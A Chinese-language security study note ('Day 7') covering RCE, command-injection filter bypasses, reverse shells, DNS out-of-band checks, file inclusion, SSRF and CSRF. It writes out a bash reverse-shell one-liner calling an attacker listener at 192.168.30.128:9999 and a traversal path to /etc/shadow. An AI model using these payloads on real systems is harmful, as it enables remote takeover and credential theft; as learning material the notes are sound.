第 7 天
· 阅读需 3 分钟
提示
服务端漏洞的终结武器,深度学习远程命令执行(RCE)与远程代码执行(RCE)攻击技术。本篇涵盖命令注入的多种绕过手法、反弹 Shell 与 DNS 外带验证技巧、文件包含漏洞的利用方式,以及 SSRF 与 CSRF 攻击的原理与实战,掌握服务端安全的核心漏洞攻击链。
RCE
remote command/code excute
远程命令执行
用户可以执行指定远程命令
- 通过逻辑运算拼接非指定的操作系统命令

- 使用黑名单过滤
&&和:, 仍可使用|绕过

|被加入黑名单时,|不跟空格亦可绕过

getshell
- base64 编码绕过
- Hex 编码绕过
- 分块写入
反弹 shell
- 在肉鸡上使用 nc 命令监听
# 连接
nc [-options] hostname port[s] [ports]
# 监听
nc -l -p port [-options] [hostname] [port]

- 目标机器上执行反弹 shell, 标准输出和标准输入均重定向到肉鸡
bash -c 'bash -i >& /dev/tcp/192.168.30.128/9999 0>&1
注意: /dev/tcp 为 bash 特有的伪设备, 其他 shell 不支持会如下报错

- 获取到目标机器的 shell

DNS 外带验证
当无回显时, 通过逻辑操作拼接 ping 命令, 判断是否有 RCE 漏洞
- 通过 dnslog 获取随机子域名, 验证是否接收到请求

- 刷新如果有请求记录, 说明一定存在 RCE 漏洞, 未收到不能完全说明没有 RCE 漏洞
远程代码执行
用户输入被作为代码的一部分进行执行
文件包含
服务端对用户侧生成的路径拼接参数没有校验, 拼接 ../../etc/shadow 等
- URL 的 file 参数值没有做限制

- 构造参数, 读取解析通过上传到服务器的图片木马

服务端请求伪造
Server-Side Request Forgery, 通过服务器作为代理, 请求其他资源
- 短域名绕过, 原理是访问短域名重定向到内网地址, 绕过检测
- 编码绕过
跨站请求伪造
Cross-Side Request Forgery, 利用浏览器自动带上 cookie 机制, 诱导用户点击恶意链接执行黑客想要的操作